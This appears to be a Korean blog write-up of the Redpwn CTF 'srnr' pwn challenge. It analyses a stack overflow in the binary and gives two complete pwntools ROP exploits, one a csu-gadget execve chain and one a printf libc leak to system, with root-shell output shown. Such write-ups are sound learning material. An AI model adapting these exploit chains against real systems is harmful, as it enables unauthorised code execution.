시작
안녕하세요 :D
요즘 정보보안산업기사 필기 공부 때문에 ctftime.org를 자주 못들어갔어요..
오랜만에 가보니 Redpwn CTF가 진행중이더라구요!!
이론이 너무 질려 머리도 식힐 겸? pwn 문제 몇 개를 싸지방에서 끄적여봤습니다.
앞에 3문제는 단순한 문제였어요 ㅎㅎ 그나마 고민했던건 포맷스트링 문제정도??
얘네들은 32비트 파일에다가 익스 코드도 무척 짧아서 롸업을 안 쓰고 넘어갈게요.
Stop, ROP, n’, Roll, srnr은 64비트 바이너리에다가 시나리오를 짤 때 고민을 많이 해서
정리할 겸 글을 쓰려고 합니다.
시작해보죠!!
Write UP
root@goorm:/tmp/Redpwn# ./srnr
[#] number of bytes: 10
실행시켜보면 바이트 수를 물어보고 사용자의 입력을 받아요.
10을 주었더니 아무 반응을 하지 않고 종료되네요. gdb로 자세히 볼게요.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : FULL
문제 제목답게 ROP 쓰라고 NX만 걸려있네요.
gdb-peda$ pd main
Dump of assembler code for function main:
0x000000000040073b <+0>: push rbp
0x000000000040073c <+1>: mov rbp,rsp
0x000000000040073f <+4>: sub rsp,0x10
0x0000000000400743 <+8>: mov rax,QWORD PTR [rip+0x2018d6] # 0x602020 <stdout@@GLIBC_2.2.5>
0x000000000040074a <+15>: mov esi,0x0
0x000000000040074f <+20>: mov rdi,rax
0x0000000000400752 <+23>: call 0x4005b0 <setbuf@plt>
0x0000000000400757 <+28>: mov rax,QWORD PTR [rip+0x2018d2] # 0x602030 <stdin@@GLIBC_2.2.5>
0x000000000040075e <+35>: mov esi,0x0
0x0000000000400763 <+40>: mov rdi,rax
0x0000000000400766 <+43>: call 0x4005b0 <setbuf@plt>
0x000000000040076b <+48>: mov rax,QWORD PTR [rip+0x2018ce] # 0x602040 <stderr@@GLIBC_2.2.5>
0x0000000000400772 <+55>: mov esi,0x0
0x0000000000400777 <+60>: mov rdi,rax
0x000000000040077a <+63>: call 0x4005b0 <setbuf@plt>
0x000000000040077f <+68>: lea rdi,[rip+0x4d0] # 0x400c56
0x0000000000400786 <+75>: mov eax,0x0
0x000000000040078b <+80>: call 0x4005c0 <printf@plt>
0x0000000000400790 <+85>: call 0x400710 <get_int>
0x0000000000400795 <+90>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400799 <+94>: mov rax,QWORD PTR [rbp-0x8]
0x000000000040079d <+98>: mov ecx,eax
0x000000000040079f <+100>: lea rax,[rbp-0x9]
0x00000000004007a3 <+104>: mov edx,0x186a0
0x00000000004007a8 <+109>: mov rsi,rax
0x00000000004007ab <+112>: mov edi,ecx
0x00000000004007ad <+114>: call 0x4005d0 <read@plt>
0x00000000004007b2 <+119>: mov eax,0x0
0x00000000004007b7 <+124>: leave
0x00000000004007b8 <+125>: ret
End of assembler dump.
main 함수를 보면 get_int()
가 보이네요. 이 함수의 리턴 값은 rax 레지스터에 들어갈건데
임마를 ecx에 넣고, 그걸 다시 edi로 주면서 read()
의 첫 번째 인자로 들어가네요.
처음에 10을 넣었죠? 때문에 read(10, %rbp-0x9, 0x186a0)
이 실행되고, fd가 10인 파일이 없기 때문에
음수를 리턴하고 함수가 종료돼요.
일단 표준입력을 주어서 read()
를 실행시켜야겠죠? 0을 입력해보겠습니다.
root@goorm:/tmp/Redpwn# ./srnr
[#] number of bytes: 0
aaaa
정상적으로 read()
가 돌아가네요. rdi가 0x186a0이므로 여기서 BOF가 발생합니다!!
이제 어떤 함수로 돌려야 할지 고민해봐요.
gdb-peda$ info func
All defined functions:
Non-debugging symbols:
0x0000000000400588 _init
0x00000000004005b0 setbuf@plt
0x00000000004005c0 printf@plt
0x00000000004005d0 read@plt
0x00000000004005e0 getchar@plt
0x00000000004005f0 __isoc99_scanf@plt
0x0000000000400600 _start
0x0000000000400630 _dl_relocate_static_pie
0x0000000000400640 deregister_tm_clones
0x0000000000400670 register_tm_clones
0x00000000004006b0 __do_global_dtors_aux
0x00000000004006e0 frame_dummy
0x00000000004006e7 sub_1258
0x00000000004006ef sub_1263
0x00000000004006f7 sub_1289
0x00000000004006ff sub_1337
0x0000000000400708 sub_1358
.
.
함수 목록을 보면 sub_ 로 시작하는 친구들이 많이 보이지만..
막상 디스어셈블 해보니 아무것도 없더라구요. 굳이 찾자면 sub_1337이 syscall이 있다는 정도??
가젯은 얼마나 줬나 확인해볼게요.
root@goorm:/tmp/Redpwn# ROPgadget --binary ./srnr --string "/bin//sh"
Strings information
============================================================
0x0000000000400c49 : /bin//sh
/bin//sh
가젯과
root@goorm:/tmp/Redpwn# rp-lin-x64 -f ./srnr -r 4 | grep "pop rdi"
0x00400823: pop rdi ; ret ; (1 found)
root@goorm:/tmp/Redpwn# rp-lin-x64 -f ./srnr -r 4 | grep "pop rsi"
0x00400821: pop rsi ; pop r15 ; ret ; (1 found)
pop rdi, pop rsi 만 존재합니다. rdx를 건드릴 pop 가젯이 없네요..
이럴 땐 역시 csu 영역이죠?
400800: 4c 89 fa mov rdx,r15
400803: 4c 89 f6 mov rsi,r14
400806: 44 89 ef mov edi,r13d
400809: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
40080d: 48 83 c3 01 add rbx,0x1
400811: 48 39 dd cmp rbp,rbx
400814: 75 ea jne 400800 <__libc_csu_init+0x40>
400816: 48 83 c4 08 add rsp,0x8
40081a: 5b pop rbx
40081b: 5d pop rbp
40081c: 41 5c pop r12
40081e: 41 5d pop r13
400820: 41 5e pop r14
400822: 41 5f pop r15
400824: c3 ret
가젯 여기 다 있네요 ㅋㅋㅋㅋㅋ
바이너리는 이 정도로 보고 이제 시나리오를 짜봐요.
1. csu 가젯을 이용해서 execve() syscall, 쉘 실행
2. printf()로 메모리 주소 leak, system의 offset을 구해서 pop_rdi gadget, binsh, system 실행
1번 방법으로 해봅시다.
QWORD PTR[r12+rbx*8]을 call하기 때문에 syscall 가젯의 주소를 bss 같은 영역에 써주고
bss의 주소를 주도록 할게요.
익스 코드를 먼저 봅시다.
from pwn import *
#context.log_level = "debug"
p = process("./srnr")
bss = 0x602000
read_plt = 0x4005d0
read_got = 0x601fd8
binsh = 0x400c49
syscall = 0x400703
csu0 = 0x400800
csu1 = 0x400816
payload = ""
p.recvuntil("bytes: ")
p.sendline("0")
payload += "A" * 17
payload += p64(csu1)
payload += "A" * 8
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(bss)
payload += p64(8)
payload += p64(csu0)
payload += "A" * 8
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(bss + 0x10)
payload += p64(59)
payload += p64(csu0)
payload += "A" * 8
payload += p64(0)
payload += p64(1)
payload += p64(bss)
payload += p64(binsh)
payload += p64(0)
payload += p64(0)
payload += p64(csu0)
p.send(payload)
sleep(1)
p.send("\x03\x07\x40\x00\x00\x00\x00\x00")
sleep(1)
p.send("A" * 59)
p.interactive()
먼저 첫 번째 chain은 read(0, bss, 8)을 줘서 bss 영역에 syscall 가젯을 스트링 형태로 입력해주었습니다.
두 번째 chain에서 rax에 execve()의 syscall number인 59를 주기위해 read()의 리턴 값을 활용했습니다.
마지막 chain에선 bss 영역을 call, 즉 syscall을 호출하고 edi에 binsh 가젯을 줍니다
execve("/bin//sh", 0, 0)
이 실행되는 거에요!!
[+] Starting local process './srnr': pid 309
[*] Switching to interactive mode
$ whoami
root
Exploit!!
2번 방법은 ctftime.org에 올라온 롸업을 참고했어요.
printf()로 leak해서 system의 주소를 구하고, main()으로 코드를 돌려 system(“/bin//sh”)를 실행하는 거에요.
제가 이대로 했을 땐 계속 EOF 에러떠서 답답했었는데..
틀린 부분은 recv()할 때 코드와 메모리 leak할 때 파이썬 문법에서 오류가 났던 것 같습니다.
from pwn import *
#context.log_level = "debug"
e = ELF("./srnr")
p = process(e.path)
pop_rdi = 0x400823
pop_rsi_pop_r15 = 0x400821
printf_plt = 0x4005c0
read_got = 0x601fd8
offset = 0xa8dc0
main = 0x40073b
binsh = 0x400c49
payload = ""
p.recvuntil("bytes: ")
p.sendline("0")
payload += "A" * 17
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(pop_rsi_pop_r15)
payload += p64(0)
payload += p64(0)
payload += p64(printf_plt)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(main)
p.send(payload)
libc_read = p.recv(1024)
libc_read = libc_read[:6]
log.info("libc_read = 0x" + libc_read[::-1].encode("hex"))
libc_read = int(libc_read[::-1].encode("hex"), 16)
libc_system = libc_read - offset
log.info(hex(libc_system))
sleep(1)
exploit = ""
p.sendline("0")
exploit += "A" * 17
exploit += p64(pop_rdi)
exploit += p64(binsh)
p.send(exploit)
p.interactive()
libc_read[::-1].encode(“hex”)가 뭔지 참..
찾아봤는데 역순으로 리스트를 만들고 16진수로 인코딩하란 뜻이었어요.
알아두면 언젠가 쓰일 것 같아서 적어둡니다!!
[*] '/tmp/Redpwn/srnr'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/tmp/Redpwn/srnr': pid 390
[*] libc_read = 0x7f5e5fd8b350
[*] 0x7f5e5fce2590
[*] Switching to interactive mode
$ whoami
root
Exploit!!
마무리
이 문제로 좋은 파이썬 문법 알아갑니다 ㅎㅎ..
포너블을 하면 할 수록 시나리오를 짜는 것 보다 적절한 send, recv와 형변환이 복잡한 것 같아요 ㅠㅠ
전역하기 전까지 파이썬 문법을 더 많이 봐야할 것 같습니다.
당분간 정보보안산업기사 공부 열심히 하고!! 앞으로도 좋은 문제 찾아서 풀어보겠습니다!!
감사합니다 :D
'CTF_Write_UP' 카테고리의 다른 글
[DefCon 2014] baby's first heap (0) | 2019.08.07 |
---|---|
[DefCon 2016] Feed Me (0) | 2019.06.14 |
[Pico CTF 2013] ROP3 (0) | 2019.06.12 |
[HSCTF 2019] Write up (0) | 2019.06.08 |
[2017 CSAW CTF] pilot (0) | 2019.05.30 |